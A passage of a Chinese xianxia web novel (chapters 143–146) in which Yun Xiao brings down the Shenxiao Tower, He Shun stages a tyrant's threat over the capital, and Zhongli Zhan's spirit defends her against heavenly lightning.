天祭台的存在本身就是个与摄魂咒相悖的阵法,是禁制一切外来的能力伤害到禁地内所盖建的。 云上巨人可能也没想过,两千多年足以改变他们原先为钟离湛准备的死地,经过时代变迁,地势也发生了变化,纵使没有人为去动神霄塔和天祭台,这里却也在不知不觉中,将六杀阵和满墙的摄魂咒分开。 六杀阵与红泥相合,摄魂咒却在神霄塔下。 打破神霄塔,神霄塔下的摄魂咒定然也会受到影响,云绡计算好了神霄塔倒下的距离,正正好落在天祭台上。 两个困住钟离湛的法阵同一时间被打破,云绡不信云上巨人毫无所动。 - 整座京都的土地都在因神霄塔的倒塌而震动,靠近神霄塔的方位之下,地面寸寸龟裂,一路往云天鼓楼方向冲了过来。 有围绕在大道上的百姓看见如电闪雷鸣般冲过来的裂痕,吓得纷纷惊叫往两旁散去。 裂开的地面底下腾出一阵阵热气,烟雾缭绕之间,天云鼓楼的上空出现了一道漆黑的人影。 地面震颤尚未停止,便有人发现那在花瓣中降临的黑影,他们伸手指去,问周围同样不知情的人是否认得那人是谁。 嘈杂的声音响起,慌乱的人群无人疏散,云光憧立刻吩咐京都的禁军稳住人心。 云光憧原先和仲卿仙师商定好的,是先让云绡在云天鼓楼处为苍生祈福,祈福之礼结束后再将神霄塔推翻重建。眼下神霄塔突然坍塌,神秘黑影出现天云鼓楼,云光憧不得不往最坏的可能去想。 他认得那道影子,毕竟京都少有那样高瘦的男人,即便对方没有穿着仙风道骨的道袍,云光憧也知道他是被他愚蠢地招来的国师。 神霄塔坍塌可能就与国师有关! 云光憧思绪复杂,现在首要的是稳住慌乱的百姓,不能在自己才继位的第一年便出现不可控的祸乱,否则他这个皇帝就算不是傀儡,也要被后世人反复提起鞭笞。 禁军领命前赶往京都主道,云光憧的心还没定下来,便听到另有人来报,说京都成外围满了士兵,看着不像是连玉州的卫兵,且数量庞然,以京都正门为始,左右扩散,约三、四万人。 云光憧一听,整个人都恍惚了瞬,他只觉得眼前一道白光闪过,呼吸都变得不顺了起来。 “陛下!” 钱英城连忙扶住了云光憧,眉心紧缩:“陛下,这群人出现得诡异,三万余人若想入连玉州不可能无声无息,便是昨夜城外巡防的卫军也没看见可疑人物,这些人就像是凭空出现了一样……” 云光憧这口气还没完全喘上来,便听见身后一道苍老但清朗的声音道:“不知钱统领可听说过,湖族古时百战神,有撒豆成兵之仙力?” 钱英城回头看去,撞上了仲卿笃定的眼神,不用他回答云光憧也信了仲卿的话。 云光憧将目光放在云天鼓楼上空的男人身上,他看见那个男人张开双臂,周身萦绕着一股诡异的黑气,城外那些突然出现的数万兵马或许真的都是他引来的。 “他果真是要我云氏江山!”云光憧浑身发寒。 就因为他想要从神霄塔下寻找到对方的弱点,国 师便恼羞成怒,直接发兵攻城! 今日之盛大往上百年也没有过,满城百姓,无数性命,难道都要陨丧于此?! 仲卿适时提了一句:“陛下,在他们没发现之前,我们还有退路。” “不可!” 钱英城还没开口,云光憧便摇头拒绝:“宁战死,不可退!孤或许不是个好皇帝,可江山仍然是云氏江山,孤不能当那个千古罪人!” 他是愚笨,他也的确没有什么了得手段,容易被人哄骗,也会做错事……可他到底曾是堂堂正正凌国的大皇子,是如今凌国的新帝!又怎么能因贪生怕死,将皇位拱手让人,不顾满城百姓何去何从,只想自己呢? 仲卿意外于云光憧的血性,他蛊惑云光憧走,其实也是怕混乱之中会伤及他的性命。而只要云光憧逃了,那他不论是死是活,都再也不能重新回到帝位上去。 不过现在嘛……此人纵有千般不是,到底占了个忠国忠民。 - 百姓尚未从慌乱中惊醒,便看见京都禁军维护街道的秩序,为了不让他们慌乱发生更不可控的情形,便谎称云天鼓楼处人群太过密集,圣女仪仗难以进入,将他们一点点地驱散开。 何舜站在屋脊之上,俯瞰四通八达街道上密密麻麻的人影,黑洞洞的双眼再往更远的方向看去。主干道尽头,城门下已经聚集了许多卫军,就在城墙之外,广阔平原上庞然的方阵如黑云压城,震慑人心。 他是亲眼看见这些人突然出现的。 湖族撒豆成兵之术,他也曾听说过,甚至还找过元司想要学习。 元司也说过,百战神所谓撒豆成兵的术法多为后世人的撰写,那的确是个用兵如神的将领,却不是个能凭空变出生灵的神明,就算是他们这些天上真神,也不可变化出活人来。 倒是有个人,其符咒之力可借星云百宫,天地灵气,为己所用,以符化身,数以万计也不是难事。 但那些都是符人,也只能算傀儡。 当初元司提起那个人时,还朝何舜别有用意地笑了一下,何舜便知道他说的是钟离湛。 上下数千年,从来只有一个钟离湛,符咒是他与生俱来的天赋,谁也学不走…… 除了一个人。 何舜朝灰烟腾起的神霄塔方向看去,他知道云绡就在那里,她或许看不见这一切,但这一切都在她的计划之中。 何舜也终于知道,云绡让他接下来要说的那番话,真正的用意。 这世上竟有如此聪明之人,将所有人都利用进去,来布她这一步惊世骇俗的棋局。 传音符凭空而画,在何舜面前燃烧,他知道这是云绡给他下达的令,若他不开口,她便会操纵着他的身体开口。 接下来的话一旦说出口,何舜可以想象到自己今后的结局,他的姓名于史书上浓墨一笔,从此遗臭万年。 感受到喉间传来的疼痛,何舜嘴角勾起一抹无畏的笑容,他的声音透过传音符,响彻整片京都上空。 “吾名何舜,乃神明所瞩,汇五族神力之天骄,尔等凡人,速速五体投地向吾跪拜,吾将允投诚者不死,叛逆者五马分尸!” 此话一出,别说是那些正在顺着禁军指引方向疏散的人群,就是摘星楼里早知会有变故的几人都脸色骤变。 徐容朝认出了这个人,徐容靳也认出了他的声音。 “吾之信徒兵临城下,只需一声号令便可铁骑踏雪,横冲京都,谁若不从,皆如此塔!” 随着何舜的话,城门外轰隆隆马蹄踏地之声,溅起白雪纷纷。 方才还有些许阳光的天在这个时候变成了灰蒙蒙的,远方兽群嚎叫,城中所有牲畜都像是应了感召般躁动,在百姓眼中,那个逆着厚云中仅剩一丝浅光的男人身上仿佛镀上了一层金。 五族之力,汇聚一人之身,他当然该是天选之人! 可,天选之人,怎会在这样盛大的场合,以兵力压境,在凌国本有帝王的情况下,还要威胁百姓他要当这天下的君主? “妖言惑众!全都是妖言惑众!”云光憧颤抖着伸手指向何舜:“来人!将那妖人拿下!” 隔着半条街道,两栋高楼遥遥对峙。 城门外一声咆哮的“杀——”,响彻云霄。 云霄之上,暗雷翻滚,层层厚云间仿佛有一双双眼正在窥看这一切。 第144章 城外马蹄声惊骇城中百姓,便是摘星楼处也能感受到京都城外那股强势之力。 此时的杨珩宁和徐容朝都有些坐不住了,他们谁也没想到今日会发生这么大的变故,而他们并没有做好要为短暂的利益付出生命的打算。 杨珩宁已经在给阿樱几人准备退路,他们料想着京都城不可能所有城门都被封锁,总有一条小道可以避开这里的是非。 倒是徐容朝,他慌乱了一瞬后见徐容靳竟然只是皱着眉头没动,与他相邻的沈旨甚至连脸上的浅笑都没收敛,他便知道恐怕这些也早在他们的预料之内。 他们究竟要做什么? “吾欲天下皆安,奈何尔等不臣,那便让这尸山尸海化作吾之登天梯,从此以后,四海之内,尽是吾奴,八荒之间,尽归吾属!” 此一番豪言放出,所有听见的人全都怔住了。 何舜就像是怕他们不懂自己是什么意思一般,还特地解释,从此以后没有五族之分,因为五族全都是他的奴隶,从此也再没有各族的古殿长老,他们的所有地界存在的必要,便是为他创造价值。 他将天下都化成了圈,而天下百姓,就是他圈养的牲畜,一旦做得让他不满意,那他就可以任意斩杀。天地间再也没有什么国规王法,只需要他的一句话,便可以决定任何人的生死。 所有人都是蝼蚁不如,只有他一人高高在上,独裁生灵。 何舜将顺我者昌,逆我者亡直白了当地表述出来,并告诉众生,因为他身上有五族的力量,这是天神赋予他的能力,他便可以主宰世间。 百姓应当庆幸是他来做这个天下之主,而不是如云光憧那样身无长物的废物。 云光憧站在另一栋高楼之上,他没有传音符,声音不能让全城百姓都听得到,他用自己的嗓音声嘶力竭地呐喊着,要唤醒所有被何舜迷惑的人,这是强盗屠杀者的逻辑,他们不必对他的不杀而感恩戴德! “若没有你!便没有今日攻城掠地!他们本就可以安稳地生活,是你打破了这一切,却要他们感激你?!” 云光憧的话只能传达到他自己所在的高楼之下,再远一点的人便听 不清了。 楼下禁军其实在何舜身体后方折射出来的一道金光中有些迷失,又被云光憧这句话点醒。 “若不杀之恩也算恩的话!那欲杀之仇亦是仇!什么天神赐予的五族之力,这些全都是你想要剥削苍生的借口!今日我可以为求自保将江山拱手相送,那我于百姓置于何处? 凌国的百姓绝不能成为你的奴隶!早在数千年前,哪怕是当年杀神当政也解除了奴隶的身份!你却要倒反天罡,把天下变回那个蛮横的、弱肉强食的天下,我不许!” 云光憧的声音带着恐惧的颤抖,因为他已经感受到了何舜身上那股惑人的力量,仿佛能轻易让人相信他,信奉他,从此依顺于他。 他庆幸仲卿仙师在他身后推着他的背,提醒他这是属于旖族女子的力量,何舜可以凭着他的音容相貌,俘获他人的感情。 而云光憧方才那番话也算他的肺腑之言,虽然是畏惧着喊出,也想过倘若他今日真的死在这里,至少后世人的历史上记载他是个为国捐躯的帝王,那也是累世美名。 “尔等皆不信吾?” 何舜仿佛听到了什么天大的笑话一样,他的笑声扩散城池内外,与天际轰隆隆的雷声混在了一起。 何舜抬眸看了一眼苍穹,那里已经灰蒙蒙一片,裂风阵阵,将从天而降的雪子也吹散了。这一刻雪止风饕,隐藏在厚云之间的雷鸣闪过一道道蓝紫色的电光。 那些光芒就像是一声声在他耳边炸响的斥责和警告。 他们似乎猜到了何舜要做什么,可他们又始终不相信何舜敢这么做。 何舜道:“那便让你们看看,吾是否是苍天选中之人,也让你们瞧瞧,这世间本来就该有的模样!” 黑袍一挥,成群的鸟雀乌压压地朝空中飞来,那些鸟雀听从何舜的指挥,发出了刺耳的尖鸣声。它们低空掠过,飞至大街小巷,像是织成了一张细密的网,从天而降,盖在了无数逃窜的百姓身上,如同天然而成带着尖喙威胁的牢笼。 他们看着近在咫尺的充满血丝的猩红的眼,那些鸟雀如同疯魔了一般拼命在他们的身上留下伤痕,只等他们不挣扎了,鸟雀才肯住嘴。 他们抓不住它,也阻止不了它。 街道前,深巷口,高马拦路,野狗狂吠。 天云鼓楼上的何舜发出了低声的呜呼,那是他们听不懂,可尾人族却十分熟悉的兽语。不止是一种兽语,更像是一种号召和命令,使得所有禽兽都听令行事,彻底失去了自我意识,反咬主人。 城中百姓惶恐无比,他们之中也有尾人族的,可尾人族的也无法控制那些发疯的禽兽们。他们更不相信,这世上竟有一个人的驭兽能力如此可怕,除非对方真的是被天神亲赐的。 天神为何要赋予一个想要将苍生都变成足下奴隶之人,五族共同的力量? 神明难道不是应当,希望苍生好? 尖叫声四起,恐惧声响彻整个京都,京都内外的声音形成了两种完全不同的世界,这座城市,在这一刻仿佛化成了被云上巨人牢牢掌控的天地。 京都的百姓,只是尘世间百姓的一个缩影。 五族皆在城中,可五族谁也无法挣脱何舜带给他们的枷锁。城池封锁,他们无法逃离,只能惊恐地看着愈来愈沉的天,生怕灾难降临头顶。 灾难其实早就在了,它一直都在。 云光憧也在畏惧,他看着天空翻涌的云,天际仿佛要坍塌下来层层蓝紫色的电光,飓风裹挟着轰隆隆的雷鸣,将他的衣饰吹乱,将他象征着帝王的金冠吹歪。 视野里摇曳的珠旒,一如他脚下城池,剧烈地晃动,如同地龙凡身,要将他们全都吞没进那豁然打开的地缝里。 将此间一切,一夕间全都掩埋。 - “这也是你们计划的一部分?”徐容朝惊恐地看向徐容靳:“你到底是云绡的人,还是这个妖邪的人?!” 徐容靳让他告诉凌国的新帝,各族地界中异象丛生,是因为天降灾星,灾星在世便是要祸乱天下的,他给了警示,可这一幕还是在他的眼前上演。 城外厮杀的吼叫声不断传来,摘星楼挺立在京都城中,仿佛与那些残忍的战事毫不相干,可他嗅到了血腥味!他知道有人死了!不止一个,或许他也会死在这里…… “徐容靳!你到底要做什么?给我个准话!”徐容朝道:“若你要害人,我现在就……” 就打晕他,将他带回若川,从此以后不许他再离开若川,省得他被有心之人蛊惑利用,成为他人手中的杀人利器! “你就如何?杀我?”徐容靳反问。 “我怎么会杀你?你怎会如此想我?!我们是……”是亲兄弟啊。 是如今在这个世上,最亲近的人了! “那就信我。”徐容靳那只完好的眼沉沉地看向徐容朝。 徐容朝觉得他真的疯了,而他回头看去,临窗里还有个更疯的。 沈旨把玩着手中的折扇,嘴角噙着的笑容因为风云骤变,天色越来越难看也越来越深。他听着城外的声音,看着城内的乱象,最终目光遥遥落于天际那不断闪烁的雷霆上。 “天会塌。”他道:“但也不会塌。” 就在他这句话落下之际,一直在云光憧身后的仲卿突然双手比了个结印,天云鼓楼处的阵光乍现,淡蓝色的光芒将何舜困在其中。 所有人都以为自己看见了希望,呼嚎着仲卿仙师的名字。 可下一瞬,何舜不过弹指之间便将阵法破除,大呵道:“吾具五族之力,自然也包括湖族!你的阵法不过如此!不过你竟敢对吾动手,莫非你们都想反抗吾?反抗上天的决定?!” “你要杀掉满城百姓,自己坐上帝位,便是上天的决定?!”云光憧问。 一道惊雷落在了距离天云鼓楼附近的高楼上,霹雳一声,火光四溅。 “吾便是天命所归!难道尔这小小人族帝王也敢反抗?真是可笑!那两千余年前的钟离湛亦想反抗上苍,他的结果你们也看见了!凡是与苍天对抗的,都是死路一条!吾便是苍天使臣!吾是五族之力所归!吾乃天神亲赐!尔如不依,便是下一个被埋高塔之人!” “尔可要想好了,日日夜夜,冤鬼锁魂!朝朝暮暮,黑牢深囚!年年岁岁,烈血封身!在这天下世人的眼里,而就是恶名昭著,这些人的性命生死,皆系于尔!尔敢?” “尔敢——?!” 一声震慑,乱了世人心魂。 云光憧哆哆嗦嗦地往后退,他不知自己听见了什么,可方才那段话却像是被他的脑海牢牢记刻,反复在他的耳畔回响。 他其实也贪生怕死,他一直站在这里与百姓共进退,便是想着哪怕一死也不卖国,至少将来身后名是好的。 可若今日他与百姓死在一起,来年史书上于他的记载,是他残害屠戮京都所有人,那个……那个黑衣裹身的妖邪,摇身一变成了救世主…… 怎么能?! 怎么可以?! “不……不——不!!!” 云光憧双腿一软,扶着钱英城也没能站稳,笔直地朝后倒下,像是已经预料到自己的结局! 他的目光骤然朝神霄塔的方向看过去,他其实从不信这世上有真神明,信那长生丹药,亦是一种寄托罢了。 可一切真相血淋淋地就摆在他的眼前,他一直寻找的国师的软肋便是神霄塔下的钟离湛,原来这世上真的有钟离湛!原来……钟离湛竟不是杀神吗? 那他为何会被圣仙所杀? 那他为何会臭名昭著千年之久? 历史由胜利者书写,可若那胜利者才是屠戮苍生、意图把控苍生之人,若那胜利者将所有善变成了恶,将自身的恶行变成了替天行道,那他们还在坚持什么?对抗什么? “哈哈哈哈——尔不敢!不敢!” 台下人议论纷纷,人声愈发鼎沸,他们震惊地看向坍塌的神霄塔,有一道声音不断在他们的耳边回响。 那道声音告诉世人,那个传说中的啖人肉食人血的杀神,曾也被五族的力量困在围城之中,他向上天反抗,最终被压在了神霄塔下。 上天意欲何为? 上天派来眼前这个疯魔的妖邪,从此控制住苍生,便是要将世人化作他们掌下的奴隶? 有人不信,亦有人信,可生死在前,不信者也对那电闪雷鸣的天产生了无尽的惶恐和畏惧。 “我敢。” 一道清灵的声音响起,她明明没有如同云光憧那样声嘶力竭地咆哮,也没有如何舜那样张狂到猖獗的呐喊,却叫这狂风把她的声音带到了每一个大街小巷的角落。 没有花团锦簇,没有歌谣赞颂,没有倾慕狂欢,却也是万众瞩目。 神霄塔压坍天祭台的某一个裂开的出口里,渐渐走出来一道纤弱的身影。少女华衣披身,珠翠摇曳,额心的一抹红痕与她翻飞的裙摆中露出的橙红色一样,似灰暗中的火光耀眼。 云绡今日装扮得很繁缛也很好看。 她装扮得繁缛,是为了让所有人都能在第一眼里注意到她,认出她的身份。 于是人群中有嚎啕不知的孩童以为自己看见了仙子,灵光一闪,想起了从旖族境内传唱至大江南北的歌谣。 “极恶已至,天降祸星。公主圣行,将解灾厄。” “歌里是这么唱的!歌里是这么唱的!” 那些歌已经深入人心,他们来京都之前便听过无数遍了,从低低的吟唱变成了高高的呼唱,熟悉的歌谣让匆忙赶路的水荷等人止住了脚步。 她们也顺着众人看去的方向,看见那抹鲜亮的影子穿过一片废墟,跃身而上,站在神霄塔的塔尖处。 便是神霄塔倒了,也仍然有数层楼的高度。 云绡立在风中,衣袂与发丝如烟云飞洒,她那样地醒目。 何舜的视线变得模糊了起来,他只能看见云绡身上的颜色,却又像是透过那道颜色,看到了与钟离湛一样的灵魂。 “吾乃天神所指,尔等怎敢言吾为灾星?!尔等放肆,全都该死!” 云绡道:“你若是天神所指,特来控制苍生,残害苍生的话……” 她抬眸顺着雷霆落下的方向看去,话语随惊雷一并传入所有人的耳里。 “那苍天也不是什么好东西。” 第145章 云绡飞扬的发丝,拂过钟离湛的脸颊。 他嗅到这阵风中特殊的味道,似曾相识的气味仿佛在这一瞬将他拉回到了从前,那时他骑在马上,连夜奔波,从曦族赶往连玉州。 途径多处,无数道力量在他的背后用力拉扯,它们攀着他的肩,它们拽着他的腿,可它们都没能阻止他前行。 其实当初他身处的境地和云光憧完全不同,因为他之死并无百姓围观,见证他死亡的都是叛徒,将他的死当成自己功成名就的阶梯。他死得悄无声息,只在建造神霄塔和天祭台时传扬了出去。 可两千多年前真正的历史谁也不知,史书上的记载如若都要推翻,云绡干脆给曾经的他安排一个更加壮烈的结局。 她要世人从此以后念他的好,洗去冠于他身上的污名。 这一场戏是何舜陪着她演的。 何舜在状若疯魔中逐渐找到了自己两千多年来活到今日的意义,他其实一直都想要钟离湛活,却没想过钟离湛当初宁死不屈的目的,今日他看见了。 或许他长寿至今,就是为了今天这一日,曾经神明冠名为奖励的五族之力,何舜一直觉得这是对他的惩罚,可原来他融合了五族之力,亦是刺向云上巨人的长剑。 这是对何舜的讽刺,又何尝不是对他们自己的讽刺? 何舜甚至笑出了声,他昂头看向了轰雷的天空,看着云层在飓风中卷起了漩涡,仿佛深邃的眼眸。 他直视着那双眼,一字一顿道:“天意欲何,尔等便作为何,是福是祸,皆是天恩。” - 云绡也嗅到了风中特殊的味道,那股味道曾与她擦身而过,是彼时烈火中唯一的凉意。它蓄满了杀意和戾气,灌入了从天而降的剑身中,划破她的脊背,贯穿钟离湛的脊骨。 云层上空,巨大的漩涡形成了一个几乎将整座京都城都包裹其中的天眼,仿佛天要在这一瞬塌下来。 城外的打斗声不断,城内的哀嚎声不止。 云绡看着逐渐现形的天空,冷声嘲讽:“你是欲杀他,还是欲杀我?” 所有人都看见了她是在对天说话,诡异的一幕让他们豁然惊觉,莫非这世上真有神明? 应当是有的,否则五族之力从何而来?应当是有的,否则那黑衣裹身的妖邪又怎能撼动京都,将他们的生死都玩弄于股掌之间? 云绡给那些云上巨人选择,机会只有一次。 她已经了解了他们的游戏规则,他们不能亲自对凡人动手,也不能真正地去决定一个凡人的生死。他们手中执的棋子和握着的傀儡线,也不过是传达他们的意志,以欲、望唤醒人心中的斗志和野心,来达成他们争锋的棋局。 当初对钟离湛下手,只因为钟离湛从某种程度而言已经不算是凡人,可他们依旧没能杀死他,而是封印了他。 那么今日呢? 何舜是凡人,她云绡也是凡人! 想要以天生异象来试探天道对他们的规则的限度,他们必须得在世人都知道他们那狰狞的、恶劣的、无情的真面目之前,解决忧患。 一次击杀的机会,是选择杀死何舜灭口,放任云绡成为下一个与天去斗的钟离湛。 还是杀死云绡,叫何舜发了疯般暴露更多他们的意图,剖开那场残忍游戏的真相? 一道雷霆从漩涡的正中心降落,那道雷霆电光耀眼,被乌云遮天蔽日后已经陷入黑暗的京都,在雷霆落下之际骤然亮得刺眼。 原本朝何舜而去的雷霆,终是转了方向,直冲云绡而来。 还算他们会选,何舜已经没有多长时间可活了,便是让他在人间妖言惑众,几十年的光阴也不过是弹指一挥间。待到他身死之后,无需百年,今日京都城中的再多荒唐也将变成历史中薄薄一页。 甚至可以将这些全都推到其他人的身上,所谓神明降惩,所谓天生异象,所谓五族之力汇聚一人之身,也都可以转化为传说中的野史,是话本杜撰,而非真实。 他们之前就是这样做的。 云绡看着近在咫尺的雷霆,心中升起了阵阵快意,她还怕他们选择杀死何舜,因为何舜一死,她说再多都不如百姓亲眼所见来得震撼和可信。 她等的,就是他们动手!她等的,就是他们急不可耐地暴露自身! 飓风吹起灰蒙蒙的尘烟中,云绡站在废墟之上,她双手同时笔画,雷符符文闪烁的蓝色光芒不过一瞬便与那从天而降的雷霆撞上。 轰隆隆翻涌的云层中,天色再度生变。 云绡双掌合十,一声咒语呵出。 就像钟离湛曾教给她的。 合掌交指,雷声即至,分掌横握,雷火即现,五雷轰鸣,使者在前。 雷电相撞之光在距离云绡不过百步的距离噼里啪啦地散开,如同火石碎裂,强光灼烧了她身上的华服,将那抹橙红色的身影明晃晃地推到了所有人的眼前。 分裂的电光如同活过来一般,寻到目标便再度朝云绡而去,雷霆被雷符一分为百,它同样能杀人,但云绡至少能躲开。 她踩着御风符,灵活的身形于神霄塔上的废墟中穿梭,后来她离开了神霄塔的范围,飞身 于京都的屋顶。 瓦砾簌簌,数道雷霆顺着她逃跑的方向击杀过去,每一次都将那处房屋打得七零八落,翻开地面,似有热浪汇成了红河。 云绡一直在抵抗着,她就是要那些杀意追赶着她,让所有长了眼睛的人都能看见,雷霆受神意驱使,它们想要杀死一个凡人。 她的逃跑路线一直都在人群的外围,一道道强光让京都变回了白昼,云绡与天的抵抗终于让惊恐的凡人清醒。即便是那些被何舜身上属于旖族的特殊力量所迷惑的人,也都在这一刻生出了不甘和不屈之心。 “为何要杀她?!” “她是圣女啊!天若要杀,也该杀那妖言惑众,妄图掌控苍生的邪祟!” 人群中纷杂的声音不断,一直在摘星楼处观望的徐容靳早已离开了高楼,他踏入人群,混进人群,变成他们中不起眼的一个。 他推动着那些声音,传达出云绡此番想让世人看见的真相。 “你方才没听见吗?那邪祟就是上天派来的,否则怎么说明他身上五族力量的由来?天上的神明想要我们变成奴隶!是天上的神明不想让我们安生地活!所以他们要以雷霆击杀圣女!” “数千年前,曦帝钟离湛合并五族,一统天下。史书上说他是杀神,可方才那邪祟分明说他是为了抵抗天地间的不公,被上天抹杀!从此他的身后皆是恶名!这还不足以证明,我们身处的天地,便是苍穹所设的牢笼?他们以我们为局,分斗兽之争,一决高下!” 徐容靳的话,遥遥传入徐容朝的耳里。 他看着摘星楼下的徐容靳,心中不可谓不震撼,他从没想过徐容靳配合云绡做这一切,所为所求如此之大。 “他所说的,是真是假?”徐容朝不知自己该问谁,便只能去问一窗之隔的沈旨。 沈旨看向那一道道闪过的雷霆,笑容早已消失。 他眉心紧皱,放在膝前的手用力握着,眼看着云绡几次生死擦肩,分神回道:“不然你当他是在玩儿?你当我们都是在玩儿?” “怎么可能——” “你见过神吗?”沈旨问,见徐容朝迟迟未答,他道:“我见过,能力极广,却自私贪婪,虚伪冷漠,这便是他们的真面目,猖獗,又怯懦,这就是我见到的神。” - “绡绡,换我来。” 钟离湛的魂魄跟着云绡飞跃屋脊,无数次电光从她的身侧撞击,那些碎裂的瓦砾在她的身上割出了一道道细小的伤口。 不致命,却很疼。 钟离湛目光担忧,他几次想要去替云绡,可云绡都不准。她此刻不能分一点神,她要拼命地逃,要躲过这些雷霆的击杀。 云绡只能给钟离湛一记眼神,告诉他,她可以,还没到轮到他的时候。 只差一点了,只要再跑出两条街,她的足迹就将整个京都城画上一个圈。而那从天而降的雷霆也跟着她的脚步打在京都的每一寸土地上,避开鲜活的人命,击碎大街小巷下怨气横生的血泥! 便是咬碎了牙齿云绡也要坚持,如若这个时候换钟离湛附身于她,那些云上巨人一定会发现她的身体里就是他,发现她所做的一切,都为引导他们解除曾经对钟离湛设下的圈套和禁制。 钟离湛看得出云绡眼神中的坚持,他只觉得自己的心脏像是开了一道豁大的伤口,寒冬冷风不断灌入,可于此同时,也有暖流流淌他的四肢百骸。 他心疼云绡,不舍得她受伤,不舍得她吃苦,他又爱极了云绡此刻的坚毅和强大,爱极了她为他的所有付出和坚持。 她正在履行她对他的承诺。 她要救他。 她在救他! 眼看神霄塔的废墟就在眼前,云绡疲惫到呼出的气都没办法吸回来,她的双眼在这一刻发黑,手脚霎时间没了力气。 身后雷霆一瞬即至,云绡满心不甘,就差一步!她就差一步了! 那道一直充满着杀意朝她追来的雷霆在她的头顶上绽开刺眼的光芒,它就悬在云绡的脊骨上方,只需轻轻落下,就能要她性命,叫她魂飞魄散,灰飞烟灭。 云绡的腿迟迟没能抬起,她无力地朝黑暗中栽了过去,干涸的嘴发不出半点声音,喘息也像是飓风中木屋窗棂破开的孔洞,沙哑又急促。 “钟、离……” 一声轻呼,云绡扑进了滚烫的怀抱中,她的眼前一片漆黑,耳旁一阵嗡鸣。 到底是凡人之躯,又如何能真的抵抗神明之力?云绡已经竭尽全力做到她能做到的所有。 足够了。 “谢谢你,绡绡。” 钟离湛紧紧地搂着怀中的少女,安抚地顺着她后脑上的发丝,一吻轻触她的额头,他抬眸冷视近在咫尺的电光。 强光落下,似是与某种坚硬之刃相撞。 皇城内外具听见一阵剧烈的轰鸣,惊人的铿锵声霎那间像是将虚空劈开了一道裂缝,雷霆被击碎成了烟火一样的光斑,星星点点地洒落人间。 就连云天鼓楼上空的何舜也被那股起劲荡开,倒在人群之中。 万物失声,强烈的白光之后是短暂的失明,所有人的眼前一片纯白,色彩渐渐回归,声音也由远及近地回笼。 紧接着,他们感受到了冬季的冷风,嗅到了风中如同火烹血液的炙热又腥臭的味道。 五感回笼。 所有人的目光仍然朝那雷霆的方向看去,乌沉沉的天依旧压在皇城顶上,如同诡异的双眼的漩涡内不断发出噼里啪啦的雷电之声。 在那强光之下,似有一道高大□□的虚影站立于废墟之上。 虚影玄衣飒飒,长发翩跹,橙红色的发带化作了一团火焰,他的右手握着一把银色的长剑,卷起风云,直指向天。 钟离湛一只手搂着接近昏迷的云绡,另一只手握着诛神剑,狐狸眼布满猩红的狠厉。 他离神霄塔还有半条街的距离,若让云绡真的跑完这半条街,她一定会死,她已经完成得很好了,他也不能真当个跟在她身后什么也做不了的废物。 黑洞洞的天,对上了锋芒的剑。 翻涌的云层中,厉风似乎化作了嘶哑的人声。 “钟——离——湛——” 城内云绡跑过的地方,血泥被雷火融化,汇成了猩红的河流,那是曾经将他拉入深深泥沼中的怨气,是六杀阵的五角,只差最后一步。 钟离湛咬紧牙根,动用所有意念,感知半条街之外的身躯。 就这最后一步,他的身体,便是爬!也要自己爬出来! 第146章 呼啸的风将云绡的发丝吹得凌乱,方才那雷霆一击打碎了她身上所有宝饰朱钗,散乱的发丝缠绕在她的脸上,只一根刻满祝文的木簪仍然在她的发上,金光浮动的文字化成了往她四肢百骸中浇灌的甘霖。 云绡的意识并不清醒,她的四肢仍然是无力的,可迎面而来的飓风中的浓烈的气味让她知道,她的计划应当是成功了大半的。 她就在钟离湛的怀里,此刻没有被从天而降的雷霆打得灰飞烟灭,那是否代表,钟离湛已经脱离了红泥和六杀阵的束缚? 所有人都能看见整座京都底下的真正面貌,他们都生活在钟离湛的肩膀之上。 埋藏着钟离湛的血泥,由无数枉死之人的血肉组成,这一刻,那些血泥化成了浓浓的、腥臭的、跨越了两千多年的鲜血,滚滚流入每一条沟渠中。 云绡表现出来的很少,可她计划的已经很多很多。 每一个被她邀请来到京都的人,都发挥出他们最大的作用。他们都是各族中拥有一定地位或声望的人,今日京都发生的一切,来日都会被他们传扬出去。 她不 相信云上巨人真的能主宰一切,至少他们不能亲自动手杀掉这么多的凡人。他们或许会蛊惑这些人中最有权利的那个,命令他将消息封死,所有人都被斩杀在这座城池。 云绡也考虑到了这些,所以她一直安排仲卿跟在云光憧的身边,因为普天之下只有云光憧可以发号此命令。 云光憧比云绡想得要更有几分血性,这也省去了云绡很多麻烦。 如今那云上巨人还能蛊惑谁? 天下人都知道,她是圣女,是要降伏灾星之人,而今天下人也都知道,被神明赐予力量的人代表了神明的意志,他非我族类,亦非善类。 那些淅淅沥沥顺着沟渠流走的血液就像是才从人的身体里流出来的一样,滚烫的温度与寒冷的冬风想撞,升出了腾腾的白烟。 便是这些难闻的白烟遮蔽了云绡和钟离湛的身形,让那些人恍惚以为自己看见了钟离湛,可一眨眼,钟离湛又不见了。 - 层层叠叠的雷云之上,那些原本平静祥和的一张张脸此刻都狰狞了起来,他们在神霄塔倒下的那一刻便察觉到不对了,而后一切发展都超出了他们的控制。 云绡是个凡人,可她又不止是个凡人。 她的身体里有钟离湛的剑骨,他们都以为云绡会成为下一个钟离湛,却没想过钟离湛有朝一日会从禁地之地回到人间,还是以这样壮烈的方式,重新出现在众人的视线里。 当初他们废了多少心力才让钟离湛彻底消失,甚至于凡人只要提到了他的名字,都是畏惧和厌弃。 可今日,他们又一次面对了钟离湛。 他就踩在神霄塔的塔顶落下的地方,与神霄塔只剩下半条街道,神霄塔上刻满符印的瓦砾就碎裂在他的身侧。而他站在那里,哪怕没有身躯支撑,仅剩一道魂魄也敢直面天空,朝他们叫嚣。 这是挑衅,也是对他们的讽刺。 【要现身吗?】 【谁去?】 【你去!当初是你说要用那把剑杀死他,可那把剑并未将他杀死!】 【该是你去!上一次便是我出的主意,是我的力量潜入了那些人的梦境里,唤醒了他们心中的欲、望,这次应该轮到你!】 【区区一个凡人,难道还真的能让他反来掌控我们?】 【可他将洛娥化成了一座山……】 【他还将元司从云坛拉下,坠入凡尘,至今杳无音讯……】 钟离湛几乎能从那双漆黑漩涡一样的眼中,看出那些云上巨人的各种情绪。 与天相比,他很渺小,如一粒沙于汪洋大海之中,可这粒沙又很不普通,他的光芒耀眼到让云上巨人们都心生嫉妒,刺痛了他们朝人间俯瞰的双眸。 杀死云绡的机会只有一次,若他们再朝凡人出手,必定会被这场棋局反噬。 数双眼眸对视,他们从彼此的眼中看到了他们还有机会,还有一条路可以走!他们的确不能对凡人动手,可能也无法逆转如今京都的局面,可他们至少能杀钟离湛。 他只是一个魂魄,他只能算作一个游荡于世间的鬼魂! 